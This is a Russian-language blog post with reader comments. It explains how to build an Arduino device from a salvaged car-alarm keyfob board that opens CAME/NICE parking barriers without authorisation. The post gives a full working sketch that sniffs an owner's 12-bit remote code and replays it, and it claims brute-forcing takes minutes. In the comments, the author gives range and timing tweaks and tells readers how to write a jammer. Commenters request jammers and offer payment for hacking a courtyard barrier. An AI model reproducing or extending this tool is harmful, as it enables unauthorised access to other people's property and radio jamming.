Открыть шлагбаум Came

Сегодня будем подробно рассматривать как открыть низкопробный шлагбаум Came или Nice без пульта. Для этого нам понадобятся старый брелок от сигнализации и самая дешевая плата Arduino.

Сделаем этот мегадевайс с тремя режимами:

  • Перехват кода CAME / NICE — то есть законный хозяин шлагбаума его открыл, а мы перехватили код с его брелка
  • Перебор кода (за 3 минуты можно перебрать все коды)
  • Ну и непосредственно отправка кода шлагбауму чтобы он открылся 🙂

Универсальная открывашка шлагбаумов CAME / NICE

1) Находим такой брелок от сигналки (старлайн или шерхан):

brelokstarlinetwagea9_214894_2

Не обязательно прям такой. Можно купить с авторазборки или по объявлению на авито.

2) Берем где-нибудь ардруино рублей за 100 самое дешманское.

3) Ломаем брелок и вытаскиваем из него плату приемника-передатчика — ту что с антеннкой. Припаиваем к ней провода так:

starline_pinout

4) Соответственно вторые концы цепляем к 2, 3, 5 пинам ардуино, а также к земле и VCC:

pro_micro

У меня arduino pro micro — так как она мелкая и уже со встроенным USB.

Теперь надо прошить наш открыватель шлагбаума CAME или NICE. Вот скетч для ардуино:

#define txPin 3 //пин передатчика
#define swPin 5 //пин включения приемника
#define rxPin 2 //пин приемника

void setup()
{
  pinMode(rxPin, INPUT);
  pinMode(txPin, OUTPUT);
  // всегда устанавливаем пин включения приемника в 0 и не трогаем его больше
  pinMode(swPin, OUTPUT);
  digitalWrite(swPin, LOW);

  Serial.begin(921600);  // тут поставьте свою скорость
  Serial.println("Came started");

  // следующие 2 строчки включают перехватчик. если планируется только отправка их можно закоментить
  attachInterrupt(1, grab, CHANGE); // обратите внимание на первый параметр - если у вас другая ардуина, он может быть не 1, а 0!
  interrupts();
}

volatile static long lastCode = 0;

void loop() {
  // это раскомментить и вместо 3693 вписать свой код для шлагбаума
  //SendCame4(3693);
  //delay(5000);
  //return;

  // при получении кода выводим его в терминал
  if (lastCode > 0)
  {
    Serial.println(lastCode & 0xfff);
    lastCode = 0;
  }
}


// функция отправляет код в эфир
void SendCame4(long Code) {
  for (int j = 0; j < 7; j++) { // посылку посылаем 4 раза подряд.
    // время стартового импульса 
    digitalWrite(txPin, HIGH);
    delayMicroseconds(320);
    digitalWrite(txPin, LOW);
    for (int i = 12; i > 0; i--) {
      byte b = bitRead(Code, i - 1); // побитово перебираем и посылаем код
      if (b) {
        digitalWrite(txPin, LOW); // 1
        delayMicroseconds(640);
        digitalWrite(txPin, HIGH);
        delayMicroseconds(320);
      }
      else {
        digitalWrite(txPin, LOW); // 0
        delayMicroseconds(320);
        digitalWrite(txPin, HIGH);
        delayMicroseconds(640);
      }
    }
    digitalWrite(txPin, LOW);
    delayMicroseconds(11520);
  }
}


// ВЕСЬ КОД НИЖЕ - ПРИЕМ

#define MAX_DELTA 200
// длительность импульсов может плавать в зависимости от заряда батареии - макс допуск 200 мкс
boolean CheckValue(unsigned int base, unsigned int value)
{
  return ((value == base) || ((value > base) && ((value - base) < MAX_DELTA)) || ((value < base) && ((base - value) < MAX_DELTA)));
}
volatile unsigned long prevtime;
volatile unsigned int lolen, hilen, state;
volatile static byte cameCounter = 0;    // count of bits stored
volatile static long cameCode = 0;       // code itself

void grab() {
  state = digitalRead(rxPin);
  if (state == HIGH)
    lolen = micros() - prevtime;
  else
    hilen = micros() - prevtime;
  prevtime = micros();

  if (state == LOW)
  {
    // последовательность закончилась
    if (CheckValue(320, hilen) && CheckValue(640, lolen)) // valid 1
    {
      cameCode = (cameCode << 1) | 1;
      cameCounter++;
    }
    else if (CheckValue(640, hilen) && CheckValue(320, lolen)) // valid 0
    {
      cameCode = (cameCode << 1) | 0;
      cameCounter++;
    }
    else cameCounter = 0;
  } else 
      if (lolen > 1000 &&
           (cameCounter == 12 || cameCounter == 13) &&
           ((cameCode & 0xfff) != 0xfff))
  {
    lastCode = cameCode & 0xfff;
    cameCounter = 0;
    cameCode = 0;
  }
}

Готово! Алгоритм простой — сначала перехватываем сигнал, смотрим в терминале код, потом отправляем этот самый код обратно, раскомментировав строчки в прошивке.

← Предыдущая запись

Следующая запись →

46 комментариев

  1. Роман

    Логические уровни Arduino Uno 5v не сожгут брелок?

    • admin

      У меня не сожгли, все работает, и довольно долго уже

      • Gennady

        если можно, напишите модель брелка и точную его распиновку, я пробовал делать на ресивере от брелка starline a6 и a9, передатчик передаёт, а вот приёмник ничего не ловит и в терминал не выдаёт …

  2. МК

    Доброго времени суток. Возможно же заменить плату из брелка на родные приемник/передатчик для ардуины? (те которые использовались для другого шлаКбаума)

    • admin

      зависит от модуляции сигнала, можно попробовать… для came подходят такие передатчики еще

      У них AM модуляция

      • Андрей

        А как у них с дальностью приема?

        • admin

          приемники такие не пробовал. А передатчик — мои шлагбаумы во дворе днем с 50-60 метров открывает примерно такой как на фотке, где ножки по бокам. Дальше не берет

  3. Андрей

    «attachInterrupt(1, grab, CHANGE); // обратите внимание на первый параметр — если у вас другая ардуина, он может быть не 1, а 0!»
    А как бы узнать для какой ардуины какой параметр ставить? У меня Arduino Uno к примеру.

  4. sinobi

    «// функция отправляет код в эфир
    void SendCame4(long Code) {
    for (int j = 0; j < 7; j++) { // посылку посылаем 4 раза подряд. "
    Цифра 7опечатка?

    • admin

      Угу, ну там можно что угодно написать. Чем больше число напишешь, тем вероятнее что шлагбаум примет код, и тем дольше будет перебор. Просто у меня во дворе жутко много помех от сигналок и прочего и хотелось проверить что все точно работает, вот и сделал 7 вместо 4.

  5. sinobi

    По идее можно же дописать код навесить кнопку и минуя терминал -по кнопке выбросить код

  6. user

    Добрый день, подскажите пожалуйста, работает ли данный скетч со шлагбаумами NICE ?

    • admin

      Думаю да, а если не будет, то можно попробовать увеличить все что связано с временем в 2 раза

      • user

        1. Если не трудно разъясните поподробнее пожалуйста?
        2. Для каких шлагбаумов подойти этот скетч?
        3. Есть ли варианты для других шгбаумов, кроме тех которые есть на вашем сайте?

        Сделал устройство на таком приёмо-передатчике http://ru.aliexpress.com/item/RF-wireless-receiver-module-transmitter-module-board-for-arduino-super-regeneration-315-433MHZ-DC5V-ASK-OOK/1970487479.html
        Немного переписал код, добавил некоторые функции и светодиодную индикацию.
        Получилось 3 режима работы: сканер, отправка кода (как зашитого в код ардуины так и последнего пойманного) и глушилка.
        LED индикация показывает питание (т.к. планируется всё спрятать в коробку), индикатор пойманного кода (загорается когда код со сканирован) и индикатор режима глушилка.
        Также добавил 2 кнопки, по нажатию на которые включаются эти режимы.
        Вот думаю как ещё усовершенствовать и улучшить идею.
        Кому нужен скетч: https://cloud.mail.ru/public/7jZ6/ETcd2DAtd

        • саня

          можете перезалить скетч?

          • user

            К сожалению этого скетча же нет.

        • Сергей

          Добрый день , а можно скетч о котором вы написали только без глушилки.
          Интересно просто открытие закрытие шлагбаума на работе , ну иногда и половить можно если очень нужно .

  7. Дмитрий

    Где проблема не пойму, но не работает!(( Пробовал на различный девайсах (приемник srx882: http://ru.aliexpress.com/store/product/5sets-lot-433MHz-wireless-rf-module-kit-5pcs-transmitter-module-5pcs-receiver-module-10pcs-antenna/934254_1801271060.html?storeId=934254 и СС1101 — http://ru.aliexpress.com/item/1Pcs-CC1101-Wireless-Transceiver-Module-with-SMA-Antenna-for-Arduino-NEW/32654382463.html
    В обоих случаях — неудача..
    Но так как заработало на другом скетче(поиск поможет) не понимаю в чем проблема?) в качестве «пульта CAME» использую другую pro mini и передатчик — STX882, коды вижу как говорил при загрузке другого скетча…(( кстати переделал его немного, теперь с дисплеем oled 0.96″.
    Друзья не пинайте сильно, так как опыта мало))) просто подскажите что делаю не так??
    Как я понял пин5 (swPin) «будит» приемник SRX882 — порт CS? Вообщем запутался я, помогите и разъясните подробнее используемые трансиверы.. и тд.

  8. Mr.4

    Для девайса рекомендую, передатчик STX882 и приёмник SRX882. Работают просто охрененно.
    http://ru.aliexpress.com/item/433MHz-100-Meters-Wireless-Module-Kit-ASK-Transmitter-STX882-ASK-Receiver-SRX882-2Pcs-Copper-Spring-Antenna/32637181317.html

  9. пумба

    а на первом фото номера контактов не перепутаны? зеркально не отражены судя по второму,хотелось бы уточнить

    • admin

      Нет, но платы бывают разные… попробуйте сориентироваться по компонентам и надписям. Все именно так как на фото:

      • пумба

        А еще вопрос по управлению,с ардуиной никогда не связывался,как работать в терминале,как именно включить перебор,глушилку?

        • admin

          Надо хотя б немного разобраться в скетче и раскоментировать нужные функции. А глушилку вообще придется написать самому, ну это совсем просто, в цикле единицу в эфир вещать да и все.

          • Solo59

            Админ, привет. А можешь запилить тему «глушилка шлакбаума». Нужно самую настоящую и простую глушилку эфира частоты шлакбаума, метров до 50 или 100.
            Чтобы ничей пульт не смог открыть шлакбаум.
            С нетерпением жду ответа.

  10. dreamwait

    Конструкция интересная — но какая-то недопиленная… Для полного счастья ее бы дополнить индикацией (светодиоды, а лучше экранчик с меню), кнопками выбора и сохранением награбленного в ячейки памяти. Тогда будет отличная база для дальнейшего расширения — ведь легко добавить другие типы шлагбаумов и сигнализаций. Ну и добавить автономный режим работы — чтобы с ноутом не палиться… Ну и режим брутфорса с возможностью остановки в произвольный момент и выбросом текущей позиции (с возможностью движения вперед-назад).
    Попробую сделать — если получится что годное — выложу…

  11. Тимур

    Такая беда, поставили шлагбаум а ключи не продают, могли бы пожалуйста все детально разъяснить как сделать брелок, а-то места совсем нет парковаться

  12. Julianna

    wifi модуль? или можно как-то запрограммировать что-то типа пинкода, например 2 раза кнопка открыть, 1 закрыть открывание происходит. Или так не делают?

  13. Сергей

    Забавно. В описании систем управления шлагбаумов заявлено динамическое кодирование. Меня терзают смутные сомнения…

  14. Данила

    Здравствуйте. Пожалуйста подскажите, как можно изменить код, чтобы после того как был найден код шлагмаума, он записывался в EEPROM?

  15. Alex

    Доброго времени.
    А какие еще изменения в скетче сделать для платы Nano ?
    кроме скорости ?

  16. Solo59

    Админ, помоги. Почему в этой строке ошибка ?…. хотя ардуино тоже про микро.
    » attachInterrupt(1, grab, CHANGE); // обратите внимание на первый параметр — если у вас другая ардуина, он может быть не 1, а 0!»

    «C:\Documents and Settings\User\Рабочий стол\ардуино глушилка\sketch_dec06a\sketch_dec06a.ino: In function ‘void setup()’:

    sketch_dec06a:17: error: ‘grab’ was not declared in this scope

    exit status 1
    ‘grab’ was not declared in this scope
    «

  17. Slava161

    можно пожалуйста скетч на открытие ворот с помощью ARDUINO и пульта 433/315?заранее огромное спасибо

  18. Masis

    скажите пожалуйста 2.3.5 ножки куда надо паят, если у меня такой девайс https://ru.aliexpress.com/item/RF-wireless-receiver-module-transmitter-module-board-for-arduino-super-regeneration-315-433MHZ-DC5V-ASK-OOK/1970487479.html

    • Waik

      Так на самом модуле ведь ножки подписаны. Землю к земле, питалово к VCC, и.т.д

  19. Ребят, посодействуйте хакнуть шлагбаум в моем дворе пожалуйста. У нас ответственная за это бабка страдает синдромом вахтера и не дает подключить второй номер телефона к шлагбауму.
    Заплачу за услугу и буду признателен откликнувшимся.
    С ув., Георгий

    gevorkbb@gmail.com

  20. Алекс

    Спасибо автору, никакие другие библиотки и скетчи не справлялись с брелком, давно хотелось сграбить.

  21. MaX22

    всем привет, есть ли кто живой тут? хочу задать несколько вопросов.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *